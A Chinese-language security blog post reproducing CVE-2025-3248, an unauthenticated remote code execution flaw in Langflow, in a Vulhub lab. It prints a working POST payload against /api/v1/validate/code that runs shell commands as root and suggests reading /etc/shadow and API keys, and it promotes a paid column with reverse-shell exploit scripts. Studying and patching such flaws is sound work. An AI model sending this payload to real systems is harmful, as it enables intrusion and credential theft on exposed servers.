你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248

漏洞利用演示视频

👉 你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248


发生了什么?

你可能没听过Langflow,但它是现在AI圈特别火的一款工具------不用写代码,拖拽几个节点就能搭出一个AI工作流或者智能体,很多公司和个人开发者都在用,公网上一搜一大把暴露的实例。

但在1.3.0版本之前,这个工具藏了一个挺离谱的漏洞。它有个「帮你检查Python代码语法对不对」的功能,任何人不用登录、不用密码就能用。而这个「检查」的过程,实际上会真的运行你提交的代码。

相当于你家门上装了个访客留言板,本来是让访客留言的,结果留言板会把访客写的每一句话都当成给户主的命令照做------访客写一句「把保险柜打开」,保险柜就真的开了。

这个漏洞编号CVE-2025-3248,专业名叫「未授权远程代码执行漏洞」,CVSS危险评分9.8(满分10),属于最高危级别。

「未授权」这三个字是关键。什么意思呢?就是这个接口不需要登录、不需要密码、不需要任何凭证,只要你能访问到这个服务器的7860端口,你就能直接调用它。你不需要是Langflow的用户,不需要知道管理员账号,甚至不需要在浏览器里打开它的页面------用curl、用Python脚本、用Burp Suite,随便什么工具,发个POST请求就行。

这意味着什么?意味着如果一家公司把Langflow部署在公网上,版本又低于1.3.0,那么全世界任何人都能在他们的服务器上执行任意命令。读文件、删数据、种挖矿木马、当跳板机攻击内网------想干嘛干嘛。而且Langflow的Docker容器默认就是root权限运行,攻击者一上来就是最高权限,连提权都省了。

我在自己的靶场上复现了这个漏洞,一个POST请求发过去,直接拿到了root权限的命令执行:

看到响应里的 uid=0(root) 了吗?root权限,未授权,一个请求。就这么简单。

本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。


有多严重?------POC验证

先说说这个漏洞的原理,不用懂代码也能明白。

Langflow做了一个接口 /api/v1/validate/code,功能很单纯:用户发一段Python函数过来,帮你检查语法写得对不对。开发者当时想的是:我只是把你提交的函数定义加载一下,又不调用它,肯定不会有危险。

问题出在Python的一个特性上:定义一个函数的时候,函数的默认参数值会立刻被计算,而不是等调用函数的时候才算。

攻击者就利用了这个特性,提交一个看起来很正常的函数定义,但在默认参数里偷偷藏了执行系统命令的代码。系统刚拿到这段代码准备「检查语法」,默认参数里的恶意代码就已经跑起来了。全程不用调用函数、不用登录验证,请求发过去就执行。

直接上POC。向 /api/v1/validate/code 发送一个POST请求:

http 复制代码
POST /api/v1/validate/code HTTP/1.1
Host: {业务目标ip}:7860
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json

{"code": "def test(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')):\n    pass"}

这段payload看起来有点绕,我逐字段拆给你看:

  • def test(cd=...) ------ 定义一个叫test的函数,cd是默认参数。关键就在这里:Python定义函数时会立刻求值默认参数
  • exec('...') ------ 执行括号里的Python代码字符串。这是真正的触发器
  • raise Exception(...) ------ 抛出一个异常,异常信息就是括号里的内容。Langflow的接口会把异常详情返回在响应中,这就是我们的回显通道
  • __import__('subprocess') ------ 动态导入subprocess模块,比直接写import subprocess更稳妥
  • .check_output("id", shell=True) ------ 执行id命令并捕获输出

整段代码的执行流程是:Langflow用exec加载函数定义 → Python求值默认参数cd → 触发内层exec → 执行subprocess.check_output("id") → 把输出包进Exception抛出 → 异常信息出现在HTTP响应中。

发送之后,看响应体:

json 复制代码
{
  "imports": {"errors": []},
  "function": {"errors": ["b'uid=0(root) gid=0(root) groups=0(root)\\n'"]}
}

uid=0(root),命令执行成功,而且是root权限。Langflow的Docker容器默认就是root用户运行,这意味着一旦被攻破,攻击者直接拿到容器内的最高权限。

这里有个细节值得说一下:为什么要用raise Exception()把命令输出包起来?因为这个接口的设计是「校验代码语法」,正常情况下返回的是语法错误信息。我们故意让代码抛出一个异常,异常信息里带着命令执行的结果,接口就会把这个异常信息原样返回给我们------相当于借了接口的错误通道当回显管道。这个技巧在很多「无回显命令执行」的场景里都用得到,核心思路就是:既然正常通道不返回数据,那就借错误通道、借日志、借DNS请求,总能把数据带出来。

你也可以把id换成其他命令,比如whoamicat /etc/passwduname -als -la /,只要命令不太复杂、不含太多特殊字符,都能直接执行并回显。想象一下,攻击者可以直接读/etc/shadow拿密码哈希、读环境变量拿API密钥、看进程列表找其他服务的凭证------这些信息每一个都可能成为进一步入侵的跳板。

到这一步,漏洞验证就完成了。一个请求,未授权,root权限命令执行。就这么简单。


环境怎么搭?

直接用Vulhub启动,一行命令的事。Vulhub里这个漏洞的路径是 vulhub/langflow/CVE-2025-3248/

bash 复制代码
cd vulhub/langflow/CVE-2025-3248/
docker compose up -d

启动后访问 http://{业务目标ip}:7860,看到Langflow的登录界面就说明靶场就绪了。

默认账号是 administrator:vulhub,可以登录进去体验一下Langflow的界面。但漏洞利用完全不需要登录------这也是这个漏洞最可怕的地方,登录页形同虚设。

需要注意的是,这个漏洞影响的是1.3.0之前的版本。Vulhub里的镜像是已经打好漏洞的版本,直接用就行。如果你是自己装的Langflow,先确认版本号,低于1.3.0的都存在风险。

另外,启动容器之后别急着发payload,先docker compose ps看一下容器状态是不是healthy,再用浏览器访问一下http://{业务目标ip}:7860确认页面能正常打开。有时候镜像拉取慢或者端口被占用,服务没起来就发请求,报一堆连接错误,还以为是payload写错了------这种低级错误我犯过不止一次,说出来都是泪。


真正的门槛在哪?

到这里,POC复现就完成了。你可能会觉得:这也太简单了,一个请求就root了,有什么难的?

确实,POC验证不难。但如果你以为这样就算「拿下服务器」了,那你就太天真了。

能执行id命令,跟拿到一个交互式的Shell、能在服务器上自由操作,完全是两码事。中间隔着的不是一条沟,是一座山。


如果你想走完这条路

我把从环境搭建到最终反弹Shell的完整过程------包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解,以及一个开箱即用的探测脚本和利用脚本,连命令带截图一步不落------都整理在了专栏里。

本篇文章完整版详见 《【GetShell】Langflow API未授权远程代码执行漏洞(CVE-2025-3248)》👉点击直达

本篇文章视频演示:你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248👉点击直达

专栏的名字叫 高危漏洞深度利用---零基础GetShell的全链路实战指南,👉点击直达。核心就是不止于POC复现,每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍编码转义的坑,可以翻翻。

复现过程中有问题直接评论区留言,我看到了会回。


本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。

相关推荐
anqianqi1237 小时前
上网行为监控系统怎么落地:上网行为监控软件能管哪几件事
运维·安全·网络安全·电脑
数据知道7 小时前
密钥管理(KMS)——轮换、分级、HSM 硬件安全模块
网络安全·密码学·哈希算法
huaqisafty21 小时前
网络赌博治安治理难点解析
网络安全·华企盾·社会治安治理·网赌赌博治理
顾城猿1 天前
zk‑SNARK 三者结合的完整工作原理
网络安全
数据知道1 天前
国密算法实战——SM2/SM3/SM4 在国产系统中的应用
网络·算法·安全·网络安全·密码学·哈希算法
隐擎fox1 天前
跨越传输层防线:深入 TCP/IP 协议栈指纹(p0f)原理与 Python 原始套接字检测实战
python·网络协议·tcp/ip·网络安全·dns
学逆向的1 天前
inilne HOOK
前端·网络安全·hook
持敬chijing1 天前
CentOS 从零搭建 LAMP 环境完整实战指南
linux·运维·web安全·网络安全·centos
Chengbei111 天前
红队新工具 ToShell 解析:自带 Web 控制台,AES+SM4 国密加密,载荷随机免杀,自主 Agent 自动完成渗透任务
人工智能·tcp/ip·安全·web安全·http·网络安全·系统安全